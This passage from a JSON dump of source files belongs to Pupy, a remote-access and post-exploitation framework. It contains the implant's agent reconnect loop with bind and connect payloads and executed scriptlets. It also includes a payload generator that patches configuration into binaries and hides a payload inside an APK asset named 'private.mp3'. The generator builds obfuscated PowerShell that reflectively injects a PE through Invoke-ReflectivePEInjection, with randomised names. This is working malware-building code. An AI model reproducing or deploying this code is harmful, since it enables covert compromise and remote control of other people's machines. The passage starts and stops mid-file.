= None\n        for ret in self._launcher.iterate():\n            logger.debug('Operation state: Terminated = %s', self.terminated)\n\n            if self.terminated:\n                logger.warning('Loop terminated')\n                break\n\n            logger.debug('Acquire launcher: %s', ret)\n\n            try:\n                if isinstance(ret, tuple):  # bind payload\n                    server_class, port, address, authenticator, stream, transport, transport_kwargs = ret\n                    self.set_connection_info(\n                        server_class(\n                            self._bind_service,\n                            port=port,\n                            hostname=address,\n                            authenticator=authenticator,\n                            stream=stream,\n                            transport=transport,\n                            transport_kwargs=transport_kwargs,\n                            pupy_srv=None,\n                        )\n                    )\n\n                    self._connection.start()\n\n                else:  # connect payload\n                    stream = ret\n\n                    self.set_connection_info(\n                        PupyConnection(\n                            None,\n                            self._connect_service,\n                            PupyChannel(stream), config={},\n                            ping=stream.KEEP_ALIVE_REQUIRED\n                        )\n                    )\n\n                    self._connection.init()\n                    self._connection.loop()\n                    self._attempt = 0\n\n            except SystemExit:\n                raise\n\n            except EOFError:\n                pass\n\n            except Exception as e:\n                logger.error(e)\n                agent.remote_error('Iterate launcher: {}', e)\n\n            finally:\n                logger.debug('Launcher completed')\n\n                self.reset_connection_info()\n\n                if stream is not None:\n                    try:\n                        stream.close()\n                    except:\n                        pass\n\n            if self.terminated:\n                break\n\n    def run(self):\n        while not self.terminated:\n            try:\n                self._iterate_launcher()\n\n            except Exception as e:\n                agent.remote_error('Launcher: {}', e)\n\n                if type(e) == SystemExit:\n                    self.terminated = True\n\n            finally:\n                if not self.terminated:\n                    sleep_secs = self._get_next_wait()\n                    logger.info(\n                        'Attempt %d - reconnect in %d seconds...',\n                        self._attempt, sleep_secs)\n                    time.sleep(sleep_secs)\n\n                    self._attempt += 1\n\n\ndef run(config):\n    launcher = config.get('launcher')\n    launcher_args = config.get('launcher_args')\n    scriptlets = config.pop('scriptlets', [])\n\n    logger.debug('Launcher: %s', launcher)\n    logger.debug('Launcher args: %s', launcher_args)\n\n    if launcher not in conf.launchers:\n        sys.exit(\"No such launcher: %s\" % launcher)\n\n    launcher = conf.launchers[launcher]()\n\n    try:\n        launcher.parse_args(launcher_args)\n    except LauncherError as e:\n        launcher.arg_parser.print_usage()\n        sys.exit(e)\n\n    if scriptlets:\n        logger.debug('Start scriptlets')\n\n        for scriptlet in scriptlets:\n            try:\n                exec(scriptlet)\n            except Exception as e:\n                logger.exception(e)\n\n        logger.debug('Scriptlets completed')\n\n    logger.debug('CID: %08x', config.get('cid', 0))\n\n    agent.namespace = UpdatableModuleNamespace(_import)\n\n    agent.client = PupyClient(\n        config.get('cid', 1337),\n        launcher, launcher_args,\n        config.get(\n            'delays', (\n                (3, 5, 10),\n                (5, 10, 30),\n                (10, 30, 60),\n                (-1, 60, 240)\n            )\n        )\n    )\n\n    agent.client.run()\n\n    logger.debug('Exited')\n\n    # sometimes the client does not exit properly\n    time.sleep(10)\n    sys.exit(0)\n"
  },
  {
    "path": "pupy/agent/ssl_hacks.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = ('apply_ssl_hacks',)\n\nimport sys\nimport socket\n\n\ndef set_default_timeout(timeout=60):\n    socket.setdefaulttimeout(timeout)\n\n\ndef change_default_verify_paths():\n    if sys.platform == 'win32':\n        return\n\n    import ssl\n\n    setattr(ssl, '_SSL_FILES', [\n        \"/etc/ssl/certs/ca-certificates.crt\",\n        \"/etc/pki/tls/certs/ca-bundle.crt\",\n        \"/etc/ssl/ca-bundle.pem\",\n        \"/etc/pki/tls/cacert.pem\",\n        \"/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem\",\n    ])\n\n    setattr(ssl, '_SSL_PATHS', [\n        \"/etc/ssl/certs\",\n        \"/system/etc/security/cacerts\",\n        \"/usr/local/share/certs\",\n        \"/etc/pki/tls/certs\",\n        \"/etc/openssl/certs\",\n        \"/etc/opt/csw/ssl/certs\",\n    ])\n\n    def set_default_verify_paths(self):\n        for path in ssl._SSL_PATHS:\n            try:\n                self.load_verify_locations(capath=path)\n            except:\n                pass\n\n        for path in ssl._SSL_FILES:\n            try:\n                self.load_verify_locations(cafile=path)\n            except:\n                pass\n\n        del path\n\n    ssl.SSLContext.set_default_verify_paths = set_default_verify_paths\n\n\ndef apply_ssl_hacks():\n    set_default_timeout()\n    change_default_verify_paths()\n"
  },
  {
    "path": "pupy/agent/utils.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'pupy_add_package', 'has_module', 'has_dll', 'new_modules',\n    'new_dlls', 'invalidate_module',\n    'register_package_request_hook', 'register_package_error_hook',\n    'unregister_package_error_hook', 'unregister_package_request_hook',\n    'safe_obtain', 'register_pupyimporter'\n)\n\nimport sys\nimport zlib\nimport gc\n\nimport umsgpack\n\nif sys.version_info.major > 2:\n    import pickle\nelse:\n    import cPickle as pickle\n\n\nimport pupy.agent\nlogger = None\n\n\ndef pupy_add_package(pkdic, compressed=False, name=None):\n    ''' Update the modules dictionary to allow\n        remote imports of new packages\n    '''\n    global logger\n    if logger is None:\n        logger = pupy.agent.get_logger('utils')\n    import pupy_modules\n    import logging\n    logger.setLevel(logging.DEBUG)\n    logger.debug(\n        'Add package (size=%d compressed=%s name=%s)',\n        len(pkdic), compressed, name)\n\n    if compressed:\n        pkdic = zlib.decompress(pkdic)\n\n    module = pickle.loads(pkdic)\n\n    logger.debug('Add files: %s', tuple(module))\n    pupy_modules.modules.update(module)\n\n\ndef has_module(name):\n    import pupy_modules\n    try:\n        if (name in sys.modules or name in sys.builtin_module_names or name in pupy_modules.modules):\n            return True\n\n        fsname = name.replace('.', '/')\n        fsnames = (\n            '{}.py'.format(fsname),\n            '{}/__init__.py'.format(fsname),\n            '{}.pyd'.format(fsname),\n            '{}.so'.format(fsname)\n        )\n\n        for module in pupy_modules.modules:\n            if module.startswith(fsnames):\n                return True\n\n        \"\"\"\n        if not pupy.agent.is_native():\n            try:\n                from importlib.machinery import PathFinder\n                if PathFinder.find_module(name) is not None:\n                    return True\n            except Exception as e:\n                logger.debug(\"Exception: %s\", e)\n                pass\n        \"\"\"\n        return False\n\n    except Exception as e:\n        pupy.agent.dprint(\n            'has_module Exception: {}/{} (type(name) == {})',\n            type(e), e, type(name)\n        )\n\n\ndef has_dll(name):\n    return name in pupy.agent.dlls\n\n\ndef new_modules(names):\n    pupy.agent.dprint('new_modules call: {}/{}', names, len(names))\n\n    try:\n        return [\n            name for name in names if not has_module(name)\n        ]\n\n    except Exception as e:\n        pupy.agent.dprint(\n            'new_modules Exception: {}/{} (type(names) == {})',\n            type(e), e, type(names)\n        )\n\n        return names\n\n\ndef new_dlls(names):\n    return tuple(\n        name for name in names if not has_dll(name)\n    )\n\n\ndef invalidate_module(name):\n    import pupy_modules\n    for item in list(pupy_modules.modules):\n        if item.startswith((name+'/', name+'.')):\n            pupy.agent.dprint('Remove {} from pupyimporter.modules'.format(item))\n            del pupy_modules.modules[item]\n\n    for item in list(sys.modules):\n        if not (item == name or item.startswith(name+'.')):\n            continue\n\n        del sys.modules[item]\n\n        if pupy.agent.namespace:\n            pupy.agent.dprint('Remove {} from rpyc namespace'.format(item))\n            pupy.agent.namespace.__invalidate__(item)\n\n    gc.collect()\n\n\ndef register_package_request_hook(hook):\n    import pupy_hooks\n    pupy_hooks.remote_load_package = hook\n\ndef register_package_error_hook(hook):\n    # Must be importer at low level, because\n    # may not be possible to load network.* at early phase\n    from pupy.network.lib.rpc import nowait\n    import pupy_hooks\n    pupy_hooks.remote_print_error = nowait(hook)\n\ndef unregister_package_error_hook():\n    import pupy_hooks\n    pupy_hooks.remote_print_error = None\n\n\ndef unregister_package_request_hook():\n    import pupy_hooks\n    pupy_hooks.remote_load_package = None\n\n\ndef safe_obtain(proxy):\n    # Safe version of rpyc's rpyc.utils.classic.obtain,\n    # without using pickle.\n\n    if type(proxy) in [list, str, bytes, dict, set, type(None)]:\n        return proxy\n\n    try:\n        conn = object.__getattribute__(proxy, '____conn__')()\n    except AttributeError:\n        return proxy\n\n    if not hasattr(conn, 'obtain'):\n        setattr(conn, 'obtain', conn.root.msgpack_dumps)\n\n    return umsgpack.loads(\n        zlib.decompress(\n            conn.obtain(proxy, compressed=True)\n        )\n    )\n\n\n# RPC API for fake pupyimporter module\n\ndef register_pupyimporter():\n    import pupy_modules\n    pupyimporter = pupy.agent.make_module('pupyimporter')\n\n    PUPYIMPORTER_API_UTILS = (\n        pupy_add_package, has_module, has_dll, new_modules,\n        new_dlls, invalidate_module,\n        register_package_request_hook, register_package_error_hook,\n        unregister_package_error_hook, unregister_package_request_hook\n    )\n\n    for export in PUPYIMPORTER_API_UTILS:\n        setattr(pupyimporter, export.__name__, export)\n\n    setattr(pupyimporter, 'load_dll', pupy.agent.load_dll)\n    setattr(pupyimporter, 'modules', pupy_modules.modules)\n\n    return pupyimporter\n"
  },
  {
    "path": "pupy/agent/winerror_hacks.py",
    "content": "# -*- coding: utf-8 -*-\n\nimport ctypes\nimport sys\n\nfrom ctypes import (\n    cast, byref, windll\n)\n\nfrom ctypes.wintypes import (\n    DWORD, LPCVOID, LPWSTR, LPVOID\n)\n\nkernel32 = windll.kernel32\n\nLocalFree = kernel32.LocalFree\nLocalFree.argtypes = (LPVOID,)\n\nFormatMessageW = kernel32.FormatMessageW\nFormatMessageW.restype = DWORD\nFormatMessageW.argtypes = (\n    DWORD, LPCVOID, DWORD, DWORD, LPWSTR,\n    DWORD, LPVOID\n)\n\nFORMAT_MESSAGE_ALLOCATE_BUFFER = 0x100\nFORMAT_MESSAGE_FROM_SYSTEM = 0x1000\n\nFORMAT_MESSAGE_FLAGS = \\\n    FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ALLOCATE_BUFFER\n\n\norig_FormatError = ctypes.FormatError\n\n\ndef FormatMessage(code):\n    lpBuffer = LPWSTR()\n\n    result = FormatMessageW(\n        FORMAT_MESSAGE_FLAGS, None,\n        DWORD(code),\n        0x409,  # Always use English\n        cast(byref(lpBuffer), LPWSTR),\n        0, None\n    )\n\n    if not result:\n        raise ctypes.WinError()\n\n    msg = lpBuffer.value.rstrip()\n    LocalFree(lpBuffer)\n\n    # We can't use network.lib.convcompat at this point\n    if sys.version_info.major < 3:\n        msg = msg.encode('utf-8')\n\n    return msg\n\n\ndef apply_winerror_hacks():\n    setattr(ctypes, 'FormatError', FormatMessage)\n"
  },
  {
    "path": "pupy/cli/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/cli/__main__.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: UTF8 -*-\nfrom pupy.cli.pupysh import main\n\nmain()\n"
  },
  {
    "path": "pupy/cli/pupygen.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the\n# root of the project for the detailed licence terms\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport argparse\nimport sys\nimport os.path\nimport random\nimport string\nimport zipfile\nimport tarfile\nimport tempfile\nimport shutil\nimport subprocess\n\nimport marshal\nimport base64\nimport os\nimport pylzma\nimport struct\nimport pefile\nimport errno\n\nfrom io import open, BytesIO\n\nfrom pupy.pupylib.utils.downloader import download\nfrom pupy.pupylib.utils.listener import get_listener_ip, get_listener_port\nfrom pupy.pupylib.utils.jarsigner import jarsigner\nfrom pupy.pupylib.payloads import dependencies\nfrom pupy.pupylib.utils.arch import make_template_arch\nfrom pupy.pupylib.payloads.dotnet import dotnet_serve_payload, DotNetPayload\nfrom pupy.pupylib.payloads.py_oneliner import (\n    serve_payload, pack_py_payload, getLinuxImportedModules\n)\nfrom pupy.pupylib.PupyCompile import pupycompile\nfrom pupy.pupylib.PupyConfig import PupyConfig\nfrom pupy.pupylib.PupyLogger import getLogger\nfrom pupy.pupylib.PupyOutput import (\n    Success, Warn, Error, List, Table, MultiPart, Color, Info\n)\nfrom pupy.network.conf import transports, launchers\nfrom pupy.network.lib.base_launcher import LauncherError\nfrom pupy.scriptlets import (\n    load_scriptlets, ScriptletsPacker, ScriptletArgumentError\n)\nfrom pupy.modules.lib.windows.powershell import obfuscatePowershellScript\nfrom pupy.pupylib.PupyCredentials import Credentials, EncryptionError\nfrom pupy.network.lib.convcompat import reprb\n\nlogger = getLogger('gen')\n\n# \"https://github.com/n1nj4sec/pupy/releases\"\nPRECOMPILED_TEMPLATES_DOWNLOAD_URL =\"https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.7z\"\nHARDCODED_CONF_SIZE = 500000\nfrom pupy.pupylib import ROOT\n\nif sys.version_info.major > 2:\n    unicode = str\n    xrange = range\n\n    def bord(x):\n        return x\nelse:\n    bord = ord\n\n\nclass NoOutput(Exception):\n    pass\n\n\ndef get_pyver(pyver, config):\n    default = config.get('gen', 'pyver')\n\n    if pyver is not None:\n        if pyver == 2:\n            return '27'\n        elif pyver == 38:\n            # Here will be some default supported Py3 version\n            return '38'\n        elif pyver == 310:\n            # Here will be some default supported Py3 version\n            return '310'\n    elif default:\n        return default\n    else:\n        raise ValueError('Unknown python version')\n\n\ndef get_edit_binary(target, display, path, conf):\n    logger.debug('generating binary %s with conf: %s', path, conf)\n\n    binary = b''\n\n    with open(path, 'rb') as f:\n        binary = f.read()\n\n    i = 0\n    offsets = []\n    is_pyoxidizer = False\n    if binary.find(b'OxidizedResource', 0) != -1:\n        is_pyoxidizer = True\n    while True:\n        i = binary.find(b'####---PUPY_CONFIG_COMES_HERE---####', i+1)\n        if i == -1:\n            break\n\n        offsets.append(i)\n\n    if not offsets:\n        raise Exception(\n            'Error: the offset to edit the config have not been found'\n        )\n\n    elif len(offsets) > 1:\n        raise Exception(\n            'Error: multiple offsets to edit the config have been found'\n        )\n\n    config = get_raw_conf(display, conf)\n    pupylib = dependencies.importer(\n        target, (\n            'pupy.network', 'pupy.agent'\n        ), ignore_native=True, as_dict=True\n    )\n    \n    if is_pyoxidizer:\n        logger.debug(\"pyoxidizer binary detected\")\n        pyoxidizer_bootstrap = f\"import marshal,pupy.agent; pupy.agent.main(config=marshal.loads({marshal.dumps(config)}))#\"\n        new_conf = pyoxidizer_bootstrap.encode('ascii')\n        new_conf_len = len(pyoxidizer_bootstrap)\n    else:\n        new_conf = marshal.dumps([config, pupylib], 2)\n\n        logger.debug(\n            'First marshalled bytes: %s (total=%d)',\n            ' '.join(\n                '{:02x}'.format(bord(c)) for c in new_conf[:64]\n            ), len(new_conf)\n        )\n        \n        uncompressed = len(new_conf)\n        new_conf = pylzma.compress(new_conf)\n\n        compressed = len(new_conf)\n        new_conf = struct.pack('>II', compressed, uncompressed) + new_conf\n        new_conf_len = len(new_conf)\n\n    if new_conf_len > HARDCODED_CONF_SIZE:\n        raise Exception(\n            'Error: config or offline script too long ({}/{} bytes)'\n            'You need to recompile the dll with '\n            'a bigger buffer'.format(new_conf_len, HARDCODED_CONF_SIZE)\n        )\n    #if not is_pyoxidizer:\n    #    new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE-new_conf_len)\n    #else:\n    #    new_conf = new_conf + (b\"#\"*(HARDCODED_CONF_SIZE-new_conf_len))\n\n    logger.debug('Free space: %d', HARDCODED_CONF_SIZE-new_conf_len)\n\n    offset = offsets[0]\n    logger.debug('Editing config at offset : %d', offset)\n    logger.debug('First compressed bytes written: %s',\n            ' ' .join(['{:02x}'.format(bord(c)) for c in new_conf[0:20]])\n            )\n\n    binary = binary[0:offset]+new_conf+binary[offset+len(new_conf):]\n\n    \n    if binary[:2] == b'MZ':\n        pe = pefile.PE(data=binary, fast_load=True)\n        pe.OPTIONAL_HEADER.CheckSum = pe.generate_checksum()\n        binary = pe.write()\n    \n\n    return binary\n\n\ndef get_raw_conf(display, conf, verbose=False):\n\n    credentials = Credentials(role='client')\n\n    if 'offline_script' not in conf:\n        offline_script = ''\n    else:\n        offline_script = conf['offline_script']\n\n    launcher = launchers[conf['launcher']]()\n    launcher.parse_args(conf['launcher_args'])\n\n    required_credentials = set(launcher.credentials) \\\n        if hasattr(launcher, 'credentials') else set([])\n\n    transport = launcher.transport\n    transports_list = []\n\n    if transport:\n        transports_list = [transport]\n        if transports[transport].credentials:\n            for name in transports[transport].credentials:\n                required_credentials.add(name)\n\n    elif not transport:\n        for name in transports:\n            transports_list.append(name)\n            transports_conf = transports[name]\n\n            if transports_conf.credentials:\n                for cred_name in transports_conf.credentials:\n                    required_credentials.add(cred_name)\n\n    available = []\n    not_available = []\n\n    for cred in required_credentials:\n        if credentials[cred]:\n            available.append(cred)\n        else:\n            not_available.append(cred)\n\n    display(\n        List(\n            available,\n            bullet=Color('+', 'green'),\n            caption=Success('Required credentials (found)')\n        )\n    )\n\n    if not_available:\n        display(\n            List(\n                not_available,\n                bullet=Color('-', 'red'),\n                caption=Error('Required credentials (not found)')\n            )\n        )\n\n    embedded_credentials = {\n        credential: credentials[credential]\n        for credential in required_credentials\n        if credentials[credential] is not None\n    }\n\n    if verbose:\n        config_table = [{\n            'KEY': k, 'VALUE': 'PRESENT' if (\n                k in ('offline_script') and v\n            ) else (\n                unicode(v) if type(v) not in (tuple, list, set) else ' '.join(\n                    unicode(x) for x in v\n                )\n            )\n        } for k, v in conf.items() if v]\n\n        display(\n            Table(\n                config_table,\n                ['KEY', 'VALUE'],\n                Color('Configuration', 'yellow'), vspace=1\n            )\n        )\n\n    config = {\n        'credentials': embedded_credentials,\n        'scriptlets': [offline_script] or [],\n        'debug': conf.get('debug', False),\n        'launcher': conf['launcher'],\n        'launcher_args': conf['launcher_args'],\n        'cid': conf.get('cid', 0x31338),\n        'delays': conf.get('delays', [\n            (10, 5, 10), (50, 30, 50), (-1, 150, 300)\n        ])\n    }\n\n    return config\n\n\ndef updateZip(zipname, filename, data):\n    # generate a temp file\n    tmpfd, tmpname = tempfile.mkstemp(dir=os.path.dirname(zipname))\n    os.close(tmpfd)\n\n    # create a temp copy of the archive without filename\n    with zipfile.ZipFile(zipname, 'r') as zin:\n        with zipfile.ZipFile(tmpname, 'w') as zout:\n            zout.comment = zin.comment  # preserve the comment\n            for item in zin.infolist():\n                if item.filename != filename:\n                    zout.writestr(item, zin.read(item.filename))\n\n    # replace with the temp archive\n    os.remove(zipname)\n    os.rename(tmpname, zipname)\n\n    # now add filename with its new data\n    with zipfile.ZipFile(\n            zipname, mode='a', compression=zipfile.ZIP_DEFLATED) as zf:\n        zf.writestr(filename, data)\n\n\ndef updateTar(arcpath, arcname, file_path):\n    tempdir = tempfile.mkdtemp(prefix='tmp_pupy_')\n\n    try:\n        with tarfile.open(arcpath, 'r') as tfr:\n            names = tfr.getnames()\n            tfr.extractall(tempdir)\n            for root, dirs, files in os.walk(tempdir):\n                for dir in dirs:\n                    os.chmod(os.path.join(root, dir), 0o700)\n                for file in files:\n                    os.chmod(os.path.join(root, file), 0o600)\n\n            with tarfile.open(arcpath+'2', 'w:gz') as tfw:\n                for n in names:\n                    if n != arcname:\n                        tfw.add(\n                            os.path.join(tempdir, n),\n                            arcname=n, recursive=False\n                        )\n                    else:\n                        tfw.add(\n                            file_path,\n                            arcname=n, recursive=False\n                        )\n\n        shutil.copy(arcpath+'2', arcpath)\n\n    finally:\n        shutil.rmtree(tempdir)\n\n\ndef get_edit_apk(target, display, path, conf):\n    credentials = Credentials(role='control')\n\n    priv_key = credentials['APK_PRIV_KEY']\n    pub_key = credentials['APK_PUB_KEY']\n\n    if not priv_key or not pub_key:\n        raise ValueError(\n            'CONTROL_APK_PRIV_KEY/CONTROL_APK_PUB_KEY '\n            'credentials missing (old credentials)'\n        )\n\n    tempdir = tempfile.mkdtemp(prefix=\"tmp_pupy_\")\n    fd, tempapk = tempfile.mkstemp(prefix=\"tmp_pupy_\")\n\n    try:\n        packed_payload = pack_py_payload(\n            target, display, get_raw_conf(display, conf), autostart=False\n        )\n\n        shutil.copy(path, tempapk)\n\n        # extracting the python-for-android install tar from the apk\n        zf = zipfile.ZipFile(path, 'r')\n        zf.extract('assets/private.mp3', tempdir)\n        zf.close()\n\n        with open(os.path.join(tempdir, 'pp.py'), 'w') as w:\n            w.write(packed_payload)\n\n        with open(os.path.join(tempdir, 'pp.pyo'), 'wb') as out:\n            out.write(\n                pupycompile(\n                    os.path.join(tempdir, \"pp.py\"),\n                    target=target.pyver\n                )\n            )\n\n        display(Success('Packaging the apk ... (can take 10-20 seconds)'))\n\n        # updating the tar with the new config\n        updateTar(\n            os.path.join(tempdir, 'assets/private.mp3'),\n            'pp.pyo', os.path.join(tempdir, 'pp.pyo')\n        )\n\n        # repacking the tar in the apk\n\n        with open(os.path.join(tempdir, 'assets/private.mp3'), 'rb') as t:\n            updateZip(tempapk, 'assets/private.mp3', t.read())\n\n        # signing the tar\n        result = BytesIO()\n        jarsigner(priv_key, pub_key, tempapk, result)\n        return result.getvalue()\n\n    finally:\n        # cleaning up\n        shutil.rmtree(tempdir, ignore_errors=True)\n        os.unlink(tempapk)\n\n\ndef generate_ps1(\n        display, conf, target, outpath=False, output_dir=False, as_str=False):\n\n    SPLIT_SIZE = 100000\n\n    code = \"\"\"\n    {0}\n    $PEBytesTotal = [System.Convert]::FromBase64String({1})\n    Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR\n    \"\"\"\n\n    payload = base64.b64encode(\n        generate_binary_from_template(\n            display, conf, target, shared=True\n        )[0]\n    )\n\n    if isinstance(payload, bytes):\n        payload = payload.decode('ascii')\n\n    parts = [\n        payload[i:i+SPLIT_SIZE] for i in xrange(\n            0, len(payload), SPLIT_SIZE\n        )\n    ]\n\n    init_code = []\n    concat_code = []\n\n    for i, aPart in enumerate(parts):\n        init_code.append(\n            '$PEBytes{0}=\"{1}\"\\n'.format(i, aPart)\n        )\n        concat_code.append(\n            '$PEBytes{0}'.format(i)\n        )\n\n    display(Success('{0} variables used'.format(i + 1)))\n\n    script = obfuscatePowershellScript(\n        open(\n            os.path.join(\n                ROOT, 'external', 'PowerSploit',\n                'CodeExecution', 'Invoke-ReflectivePEInjection.ps1'\n            ), 'r'\n        ).read()\n    )\n\n    # adding some more obfuscation\n    random_name = ''.join([\n        random.choice(string.ascii_lowercase)\n        for x in range(0, random.randint(6, 12))\n    ])\n\n    script = script.replace('Invoke-ReflectivePEInjection', random_name)\n    code = code.replace('Invoke-ReflectivePEInjection', random_name)\n\n    payload = '{0}\\n{1}'.format(\n        script, code.format(\n            ''.join(init_code),\n            '+'.join(concat_code)\n        )\n    )\n\n    if as_str:\n        return payload\n\n    if not outpath:\n        outfile = tempfile.NamedTemporaryFile(\n            dir=output_dir or '.',\n            prefix='pupy_',\n            suffix='.ps1',\n            delete=False\n        )\n    else:\n        try:\n            os.unlink(outpath)\n        except OSError:\n            pass\n\n        outfile = open(outpath, 'w+')\n\n    outpath = outfile.name\n    outfile.write(payload)\n    outfile.close()\n\n    return outpath\n\n\ndef generate_binary_from_template(\n        display, conf, target, shared=False, fmt=None):\n\n    config = PupyConfig()\n    \n    TEMPLATE_FMT = fmt or 'pupy{arch}{debug}-{pyver}.{ext}'\n\n    CLIENTS = {\n        'android': (get_edit_apk, 'pupy.apk', False),\n        'linux': (get_edit_binary, TEMPLATE_FMT, True),\n        'solaris': (get_edit_binary, TEMPLATE_FMT, True),\n        'windows': (get_edit_binary, TEMPLATE_FMT, False),\n    }\n\n    SUFFIXES = {\n        'windows': ('exe', 'dll'),\n        'linux':   ('lin', 'lin.so'),\n        'solaris': ('sun', 'sun.so'),\n    }\n\n    if target.os not in CLIENTS:\n        raise ValueError(\n            'Unknown OS ({}), known = {}'.format(\n                target.os, ', '.join(CLIENTS)\n            )\n        )\n\n    generator, template, makex = CLIENTS[target.os]\n\n    if '{arch}' in template and not target.arch:\n        raise ValueError(\n            'arch required for the target OS ({})'.format(target.os)\n        )\n\n    arch = make_template_arch(target.arch)\n\n    shared_ext = 'xxx'\n    non_shared_ext = 'xxx'\n\n    if target.os in SUFFIXES:\n        non_shared_ext, shared_ext = SUFFIXES[target.os]\n\n    debug_fmt = 'd' if target.debug else ''\n\n    if shared:\n        makex = False\n        ext = shared_ext\n    else:\n        ext = non_shared_ext\n\n    filename = template.format(\n        arch=arch, debug=debug_fmt, ext=ext,\n        pyver=target.pyver_str\n    )\n    \n    # search in project root first\n    template = os.path.join(\n        ROOT, 'payload_templates', filename\n    )\n\n    # finally search in user directory\n    if not os.path.isfile(template):\n        templatedir = os.path.join(\n            config.user_root, 'payload_templates'\n        )\n        if not os.path.isdir(templatedir):\n            display(Error(\"payload binary templates are not available.\"))\n            display(Info(\"You must compile them or download precompiled templates.\"))\n            res=input(f\"Do you want to download precompiled templates from {PRECOMPILED_TEMPLATES_DOWNLOAD_URL} ? Y/n \")\n            if res.lower().strip()==\"y\" or res.lower().strip()==\"yes\" or res.lower().strip()==\"\":\n                dst=os.path.join(config.user_root, \"payload_templates.txz\")\n                raise NotImplementedError(\"TODO: download precompiled templates\")\n                download(PRECOMPILED_TEMPLATES_DOWNLOAD_URL, dst)\n\n        template = os.path.join(\n            config.user_root, 'payload_templates', filename\n        )\n\n\n    if not os.path.isfile(template):\n        raise ValueError('Template not found ({})'.format(template))\n    display(Info(\"Using template: {}\".format(template)))\n    if target.debug:\n        conf['debug'] = True\n\n    config_table = [{\n        'KEY': k,\n        'VALUE': 'PRESENT' if (\n            k in ('offline_script') and v\n        ) else (\n            unicode(v)\n            if type(v) not in (tuple, list, set)\n            else ' '.join(unicode(x) for x in v)\n        )\n    } for k, v in conf.items() if v]\n\n    display(\n        Table(\n            config_table,\n            ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1\n        )\n    )\n\n    return generator(\n        target, display, template, conf\n    ), filename, makex\n\n\ndef pack_scriptlets(\n    display, scriptlets, args_scriptlet,\n        os=None, arch=None, pyver=None, debug=False):\n\n    sp = ScriptletsPacker(os, arch)\n\n    for sc in args_scriptlet:\n        tab = sc.split(\",\", 1)\n        sc_args = {}\n        name = tab[0]\n        if len(tab) == 2:\n            try:\n                for x, y in (x.strip().split(\"=\") for x in tab[1].split(\",\")):\n                    sc_args[x.strip()] = y.strip()\n            except Exception as e:\n                raise ValueError(\n                    'Invalid aruments ({}), expected: key=value'.format(e)\n                )\n\n        if name not in scriptlets:\n            raise ValueError(\n                \"unknown scriptlet {}, valid choices are: {}\".format(\n                    repr(name), [\n                        x for x in scriptlets\n                    ])\n            )\n\n        display(Success(\n            'loading scriptlet {}{}'.format(\n                repr(name),\n                'with args {}'.format(\n                    ' '.join(\n                        '{}={}'.format(k, repr(v))\n                        for k, v in sc_args.items()\n                    )\n                ) if sc_args else '')\n        ))\n\n        try:\n            sp.add_scriptlet(scriptlets[name], sc_args)\n\n        except ScriptletArgumentError as e:\n            display(MultiPart([\n                Error('Scriptlet {} argument error: {}'.format(\n                    repr(name), str(e))\n                ),\n                scriptlets[name].format_help()\n            ]))\n\n            raise ValueError('{}'.format(e))\n\n    script_code = sp.pack()\n    return script_code\n\n\nclass InvalidOptions(Exception):\n    pass\n\n\nPAYLOAD_FORMATS = [\n    'client', 'py', 'pyinst', 'py_oneliner', 'ps1',\n    'ps1_oneliner', 'csharp',\n    '.NET', '.NET_oneliner', 'pyoxidizer'\n]\n\n\nCLIENT_OS = ['android', 'windows', 'linux', 'solaris']\nCLIENT_ARCH = ['x86', 'x64', 'armhf']\n\n\ndef get_parser(base_parser, config):\n    parser = base_parser(\n        description='Generate payloads for windows, linux, osx and android.'\n    )\n\n    pyver = parser.add_mutually_exclusive_group()\n\n    pyver.add_argument(\n        '--python38', action='store_true',\n        help='Use python38 target (windows 7 supported)'\n    )\n\n    parser.add_argument(\n        '-f', '--format', default=config.get('gen', 'format'),\n        choices=PAYLOAD_FORMATS, help=\"(default: client)\"\n    )\n\n    parser.add_argument(\n        '-O', '--os', default=config.get('gen', 'os'),\n        choices=CLIENT_OS, help='Target OS (default: windows)'\n    )\n\n    parser.add_argument(\n        '-A', '--arch', default=config.get('gen', 'arch'),\n        choices=CLIENT_ARCH, help='Target arch (default: x86)'\n    )\n\n    parser.add_argument(\n        '-U', '--uncompressed', default=False,\n        action='store_true', help='Use uncompressed template'\n    )\n\n    parser.add_argument(\n        '-P', '--packer', default=config.get('gen', 'packer'),\n        help='Use packer when \\'client\\' output format (default: %(default)s)'\n    )\n\n    parser.add_argument(\n        '-S', '--shared', default=False, action='store_true',\n        help='Create shared object'\n    )\n\n    parser.add_argument(\n        '-o', '--output', help=\"output filename\"\n    )\n\n    parser.add_argument(\n        '-d', '--delays-list',\n        action='append', type=str,\n        metavar=('<ATTEMPTS>', '<MIN SEC>', '<MAX SEC>'), nargs=3,\n        help='Format: <max attempts, i for infinite> <min delay (sec)> <max delay (sec)>'\n    )\n\n    default_payload_output = '.'\n\n    try:\n        default_payload_output = config.get_path(\n            'payload_output', dir=True\n        )\n    except ValueError as e:\n        logger.error(\n            'Invalid value for \"payload_output\" in config file: %s', e\n        )\n\n    parser.add_argument(\n        '-D', '--output-dir', default=default_payload_output,\n        help=\"output folder (default: %(default)s)\"\n    )\n\n    parser.add_argument(\n        '-s', '--scriptlet', default=[], action='append',\n        help='offline python scriptlets to execute before '\n        'starting the connection. Multiple scriptlets can be privided.'\n    )\n\n    parser.add_argument(\n        '-l', '--list', action='store_true',\n        help=\"list available formats, transports, scriptlets and options\"\n    )\n\n    parser.add_argument(\n        '-E', '--prefer-external', action='store_true',\n        default=config.getboolean('gen', 'external'),\n        help=\"In case of autodetection prefer external IP\"\n    )\n\n    parser.add_argument(\n        